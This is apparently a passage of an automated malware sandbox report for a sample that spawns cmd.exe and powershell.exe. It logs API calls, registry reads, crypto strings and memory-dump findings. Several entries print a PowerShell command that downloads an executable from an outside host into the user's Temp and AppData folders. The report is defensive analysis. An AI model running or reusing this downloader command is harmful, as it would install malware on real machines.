DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffceb5b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\DIASYMREADER.DLL" at base 7ffceb44000038:T4c2,Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00004524-00000C2C-1012029863") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp, 00000000-00003924.00000001.131634.183F0000.00000004.mdmp") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp, 00000000-00003924.00000001.131634.183F0000.00000004.mdmp") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00004260.00000000.130220.2F470000.00000004.mdmp, 00000000-00004260.00000001.130471.2F470000.00000004.mdmp") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp, 00000000-00004260.00000001.130471.49830000.00000004.mdmp")39:T1b2e,"cmd.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007120) "cmd.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007120) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004260) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004260) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0acf149d2010000000000000000000051edb523fd7f000000000000d201000000000000000000008dc47e837fa100002a0000000000000030748349d20100008fecb523fd7f0000e0acf149d2010000e0acf149d2010000000000000000000000000000fd7f0000ffffff7fcf11000000000000000000000000000000000000d8cee549d20100002a0000000000000069c39e49d20100003100000000000000e803000000000000ec03000000000000110001100000000010d527f93800000003a36921fd7f000010d527f93800000000000000000000002b00000000000000000000000000000020b0a449d2010000b43fa349d2010000e0cee549 (UID: 00000000-00004260) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000400000000000000000006e2fd20100000b8eb323fd7f000000006e2fd201000002000000d20100003800000000000000400000000000000030036e2fd201000078e414fa38000000010000000000000003000000000000000100000000000000160000000000000020103e2fd2010000000000000000000000003e2fd2010000e0842e4bd2010000000000000000000056000000010000000000000000000000800000000000000004000000000000000000000000000000e8872e4bd201000004000000000000003800000000000000f0986821fd7f000038000000000000003800000000000000f0e514fa38000000c00c61f9fc7f000000000000 (UID: 00000000-00004260) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f000002000000000000000000000000000000d0b05d07fd7f000007000000000000000000000000000000010000000000000000011c4bd2010000000000000000000030b31e4bd20100004c986821fd7f000020d71e4bd2010000b3ce57f9fc7f000080b31e4bd2010000004f5d07fd7f0000d0b05d07fd7f00000000000000000000000000000000000080b31e4bd201000000011c4bd2010000f0dd1e4bd201000048e614fa380000004c986821fd7f0000010000000000000048e614fa38000000f0dd1e4bd201000080b31e4bd2010000010000000000000002bc57f9fc7f000080b61e4bd2010000f0ec1c4bd2010000feffffff040000007df05c07fd7f000010de1e4b (UID: 00000000-00004260) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000000007000000000000000000000000000000010000000000000000011c4bd2010000000000000000000030b31e4bd20100004c986821fd7f000020d71e4bd2010000b3ce57f9fc7f000040ba1e4bd2010000384f5d07fd7f0000d0b05d07fd7f00000000000000000000000000000000000040ba1e4bd201000000011c4bd2010000f0dd1e4bd201000040e614fa380000004c986821fd7f0000010000000000000040e614fa38000000f0dd1e4bd201000040ba1e4bd2010000010000000000000002bc57f9fc7f00000000000000000000f0ec1c4bd201000080b61e4b04000000feffffffffffffff00011c4bd20100007df05c07fd7f000000000000 (UID: 00000000-00004260) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004524) "powershell.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004524) "powershell.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e0ac70772c010000000000000000000051edb523fd7f0000000000002c0100000000000000000000d35188c0de6800002a00000000000000f09bc05c2c0100008fecb523fd7f0000e0ac70772c010000e0ac70772c010000000000000000000000000000fd7f0000ffffff7f3548000000000000000000000000000000000000d8ce64772c0100002a0000000000000069c31d772c0100003100000000000000ec030000000000009803000000000000110001100000000020d30f101200000003a36921fd7f000020d30f101200000000000000000000002b00000000000000000000000000000020b023772c010000b43f22772c010000e0ce6477 (UID: 00000000-00004524)3a:T97d,"o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00003924.00000000.131413.183F0000.00000004.mdmp 00000000-00003924.00000001.131634.183F0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00003924.00000000.131413.183F0000.00000004.mdmp 00000000-00003924.00000001.131634.183F0000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00003924.00000000.131413.7DC10000.00000004.mdmp 00000000-00003924.00000001.131634.7DCC8000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00003924.00000000.131413.7DC10000.00000004.mdmp 00000000-00003924.00000001.131634.7DCC8000.00000004.mdmp "311\Scripts\;C:\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A07" in Source: 00000000-00003924.00000000.131413.7DC10000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003924.00000000.131413.7DC10000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003924.00000000.131413.7DC10000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00003924.00000000.131413.7DC10000.00000004.mdmp 00000000-00003924.00000001.131634.7DCC8000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004260.00000000.130220.2F470000.00000004.mdmp 00000000-00004260.00000001.130471.2F470000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004260.00000000.130220.2F470000.00000004.mdmp 00000000-00004260.00000001.130471.2F470000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00004260.00000000.130220.2F470000.00000004.mdmp 00000000-00004260.00000001.130471.2F470000.00000004.mdmp "ne\Software\Classes\AppID\powershell.exe" in Source: 00000000-00004260.00000000.130220.2F470000.00000004.mdmp 00000000-00004260.00000001.130471.2F470000.00000004.mdmp3b:Td43,file/memory contains long string with (Indicator: "New-Object"; File: "0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7.bin") Found string "powershell -command "try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', '%%d\ggxy1nfv.exe'); exit 0} catch {exit 1}" ^" (Indicator: "New-Object"; File: "0b6d995b8b6a76b0ea3eb334790ac6daf8fd9e1ae0c112f1ddf4e479c3927ee7.bin") Found string "try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', 'C:\Users\HAPUBWS\AppData\Local\Temp\ggxy1nfv.exe'); exit 0} catch {exit 1}" (Indicator: "New-Object"; File: "AMSI") Found string "try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', 'C:\Users\HAPUBWS\AppData\Local\ggxy1nfv.exe'); exit 0} catch {exit 1}" (Indicator: "New-Object"; File: "AMSI") Found string "try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', 'C:\Users\HAPUBWS\AppData\Roaming\ggxy1nfv.exe'); exit 0} catch {exit 1}" (Indicator: "New-Object"; File: "AMSI") Found string "powershell -command "try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', '%TEMP%\ggxy1nfv.exe'); exit 0} catch {exit 1}"" (Indicator: "New-Object"; File: "powershell.exe") Found string "powershell -command "try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', '%LOCALAPPDATA%\ggxy1nfv.exe'); exit 0} catch {exit 1}"" (Indicator: "New-Object"; File: "powershell.exe") Found string "powershell -command "try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', '%APPDATA%\ggxy1nfv.exe'); exit 0} catch {exit 1}"" (Indicator: "New-Object"; File: "powershell.exe") Found string "powershell -command "try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', 'C:\Users\HAPUBWS\AppData\Local\ggxy1nfv.exe'); exit 0} catch {exit 1}"" (Indicator: "New-Object"; Source: "00000000-00003924.00000000.131413.7DC10000.00000004.mdmp, 00000000-00003924.00000001.131634.7DC10000.00000004.mdmp") Found string "try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', 'C:\Users\HAPUBWS\AppData\Local\ggxy1nfv.exe'); exit 0} catch {exit 1}" (Indicator: "New-Object"; Source: "00000000-00003924.00000000.131413.7DC10000.00000004.mdmp, 00000000-00003924.00000000.131413.7DFA0000.00000004.mdmp, 00000000-00003924.00000001.131634.19F86000.00000004.mdmp, 00000000-00003924.00000001.131634.7DC10000.00000004.mdmp, 00000000-00003924.00000001.131634.7DC3F000.00000004.mdmp, 00000000-00003924.00000001.131634.7DCC8000.00000004.mdmp, 00000000-00003924.00000001.131634.7DFA0000.00000004.mdmp, 00000000-00003924.00000001.131634.7F630000.00000004.mdmp") Found string "HostApplication=powershell -command try {(New-Object System.Net.WebClient).DownloadFile('https://api.eth-fastscan.org/sefirah', 'C:\Users\HAPUBWS\AppData\Local\ggxy1nfv.exe'); exit 0} catch {exit 1}" (Indicator: "New-Object"; Source: "00000000-00003924.00000001.131634.19F0B000.00000004.mdmp, 00000000-00003924.00000001.131634.7DC3F000.00000004.mdmp") Found string "Write-Error -Message $errorMessage -Category ReadError -ErrorId "FileReadError" -TargetObject $FilePath" (Indicator: "Write-Error"; Source: "00000000-00004260.00000000.130220.49830000.00000004.mdmp")3c:T57c,"cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME")3d:T11d6,Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00003924.00000000.131413.183F0000.00000004.mdmp, 00000000-00003924.00000001.131634.183F0000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00003924.00000000.131413.7DC10000.00000004.mdmp, 00000000-00003924.00000001.131634.7DCC8000.00000004.mdmp") Found string "system.security.cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00003924.00000000.131413.92410000.00000004.mdmp, 00000000-00003924.00000000.131413.92430000.00000004.mdmp, 00000000-00003924.00000000.131413.92470000.00000004.mdmp, 00000000-00003924.00000001.131634.923F0000.00000004.mdmp, 00000000-00003924.00000001.131634.92450000.00000004.mdmp") Found string "frombase64transform" (Indicator: "base64"; Source: "00000000-00003924.00000000.131413.92410000.00000004.mdmp") Found string "frombase64transformmode" (Indicator: "base64"; Source: "00000000-00003924.00000000.131413.92410000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "rijndael"; Source: "00000000-00003924.00000000.131413.92410000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "Rijndaelmanaged"; Source: "00000000-00003924.00000000.131413.92410000.00000004.mdmp") Found string "rsacryptoserviceprovider" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00003924.00000000.131413.92410000.00000004.mdmp") Found string "system.security.cryptography.x509certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00003924.00000000.131413.92410000.00000004.mdmp, 00000000-00003924.00000000.131413.92430000.00000004.mdmp, 00000000-00003924.00000000.131413.92470000.00000004.mdmp, 00000000-00003924.00000001.131634.923F0000.00000004.mdmp, 00000000-00003924.00000001.131634.92450000.00000004.mdmp") Found string "cryptostream" (Indicator: "cryptostream"; Source: "00000000-00003924.00000000.131413.92410000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "rijndael"; Source: "00000000-00003924.00000000.131413.92410000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "Rijndaelmanaged"; Source: "00000000-00003924.00000000.131413.92410000.00000004.mdmp") Found string "base64formattingoptions" (Indicator: "base64"; Source: "00000000-00003924.00000000.131413.92410000.00000004.mdmp") Found string "tripledescryptoserviceprovider" (Indicator: "tripledescryptoserviceprovider"; Source: "00000000-00003924.00000000.131413.92410000.00000004.mdmp") Found string "cryptostreammode" (Indicator: "cryptostream"; Source: "00000000-00003924.00000000.131413.92410000.00000004.mdmp") Found string "cryptostreammode" (Indicator: "cryptostreammode"; Source: "00000000-00003924.00000000.131413.92410000.00000004.mdmp") Found string "rijndael" (Indicator: "rijndael"; Source: "00000000-00003924.00000000.131413.92410000.00000004.mdmp") Found string "soapbase64binary" (Indicator: "base64"; Source: "00000000-00003924.00000000.131413.92430000.00000004.mdmp") Found string "gzipstream" (Indicator: "GzipStream"; Source: "00000000-00003924.00000000.131413.92430000.00000004.mdmp") Found string "base64stream" (Indicator: "base64"; Source: "00000000-00003924.00000000.131413.92430000.00000004.mdmp") Found string "aescryptoserviceprovider" (Indicator: "aes"; Source: "00000000-00003924.00000000.131413.92470000.00000004.mdmp") Found string "aescryptoserviceprovider" (Indicator: "aescryptoserviceprovider"; Source: "00000000-00003924.00000000.131413.92470000.00000004.mdmp") Found string "ecdsa" (Indicator: "ecdsa"; Source: "00000000-00003924.00000000.131413.92470000.00000004.mdmp") Found string "aesmanaged" (Indicator: "aes"; Source: "00000000-00003924.00000000.131413.92470000.00000004.mdmp") Found string "ecdsacng" (Indicator: "ecdsa"; Source: "00000000-00003924.00000000.131413.92470000.00000004.mdmp") Found string "stringtobase64converter" (Indicator: "base64"; Source: "00000000-00003924.00000000.131413.92470000.00000004.mdmp") Found string "psrsacryptoserviceprovider" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00003924.00000000.131413.92490000.00000004.mdmp") Found string "d__198" (Indicator: "base64"; Source: "00000000-00003924.00000000.131413.92510000.00000004.mdmp, 00000000-00003924.00000001.131634.92510000.00000004.mdmp") Found string "d__148" (Indicator: "base64"; Source: "00000000-00003924.00000000.131413.92510000.00000004.mdmp, 00000000-00003924.00000001.131634.92510000.00000004.mdmp")3e:T2179,"o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00003924.00000000.131413.183F0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00003924.00000000.131413.183F0000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00003924.00000000.131413.7DC10000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00003924.00000000.131413.7DC10000.00000004.mdmp "311\Scripts\;C:\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A07" in Source: 00000000-00003924.00000000.131413.7DC10000.00000004.mdmp "\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003924.00000000.131413.7DC10000.00000004.mdmp "y\Machine\Software\Classes\CLSID\{00000323-0000-0000-C000-000000000046}" in Source: 00000000-00003924.00000000.131413.7DC10000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00003924.00000000.131413.7DC10000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00003924.00000001.131634.183F0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00003924.00000001.131634.183F0000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00003924.00000001.131634.7DCC8000.00000004.mdmp "Machine\Software\Classes\CLSID" in Source: 00000000-00003924.00000001.131634.7DCC8000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00003924.00000001.131634.7DCC8000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004260.00000000.130220.2F470000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004260.00000000.130220.2F470000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00004260.00000000.130220.2F470000.00000004.mdmp "ne\Software\Classes\AppID\powershell.exe" in Source: 00000000-00004260.00000000.130220.2F470000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004260.00000001.130471.2F470000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004260.00000001.130471.2F470000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00004260.00000001.130471.2F470000.00000004.mdmp "ne\Software\Classes\AppID\powershell.exe" in Source: 00000000-00004260.00000001.130471.2F470000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00004260.00000001.130471.4B2C0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}" in Source: 00000000-00004260.00000001.130471.4B2C0000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00004260.00000001.130471.4B2C0000.00000004.mdmp "\REGISTRY\MACHINE\Software\Classes\PackagedCom" in Source: 00000000-00004260.00000001.130471.4B2C0000.00000004.mdmp "HOMEPATH=\Us\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00004260.00000001.130471.4B2C0000.00000004.mdmp "PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.\REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00004260.00000001.130471.4B2C0000.00000004.mdmp "\Registry\Machine\Software\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}" in Source: 00000000-00004260.00000001.130471.4B2C0000.00000004.mdmp "Registry\Machine\Software\Classes\WOW6432Node\CLSID\{00000339-0000-0000-C000-000000000046}" in Source: 00000000-00004260.00000001.130471.4B2C0000.00000004.mdmp "REGISTRY\USER\S-1-5-21-735145574-\Registry\Machine\Software\Classes\WOW6432Node\" in Source: 00000000-00004260.00000001.130471.4B2C0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004524.00000000.130810.5CB30000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00004524.00000000.130810.5CB30000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00004524.00000000.130810.5CB30000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004524.00000000.130810.77020000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004524.00000001.131077.5CB30000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00004524.00000001.131077.5CBD9000.00000004.mdmp "y\Machine\Software\Classes\AppID\powershell.exe" in Source: 00000000-00004524.00000001.131077.5CBD9000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004524.00000001.131077.77020000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server" in Source: 00000000-00004524.00000001.131077.770B5000.00000004.mdmp "Registry\Machine\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32" in Source: 00000000-00004524.00000001.131077.78ADC000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004544.00000000.131967.183C0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004544.00000000.131967.7DFF0000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00004544.00000000.131967.7DFF0000.00000004.mdmp "311\Scripts\;C:\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A07" in Source: 00000000-00004544.00000000.131967.7DFF0000.00000004.mdmp "y\Machine\Software\Classes\AppID" in Source: 00000000-00004544.00000000.131967.7DFF0000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00004544.00000001.132196.183C0000.00000004.mdmp "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." in Source: 00000000-00004544.00000001.132196.7E01D000.00000004.mdmp "ry\Machine\Software\Classes\WOW6432Node\CLSID\{0" in Source: 00000000-00004544.00000001.132196.7E01D000.00000004.mdmp "311\Scripts\;C:\Users\HAPUBWS\AppData\Local\Programs\Python\Python311\;C:\Users\HAPUBWS\AppData\Local\Microsoft\WindowsApps;C:\Program\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{8BC3F05E-D86B-11D0-A07" in Source: 00000000-00004544.00000001.132196.7E01D000.00000004.mdmp "y\Machine\Software\Classes\AppID" in Source: 00000000-00004544.00000001.132196.7E01D000.00000004.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 00000000-00004544.00000001.132196.ED2FA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell" in Source: 00000000-00004544.00000001.132196.ED2FA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 00000000-00004544.00000001.132196.ED2FA000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 00000000-00004544.00000001.132196.ED2FA000.00000002.mdmp "SOFTWARE\Microsoft\PowerShell\3" in Source: 00000000-00004544.00000001.132196.ED2FA000.00000002.mdmp "Software\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11CF-8B85-00AA005B4383}" in Source: 00000000-00004544.00000001.132196.ED2FA000.00000002.mdmp3f:T71d,"cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CONHOST.EXE"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\BAM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: 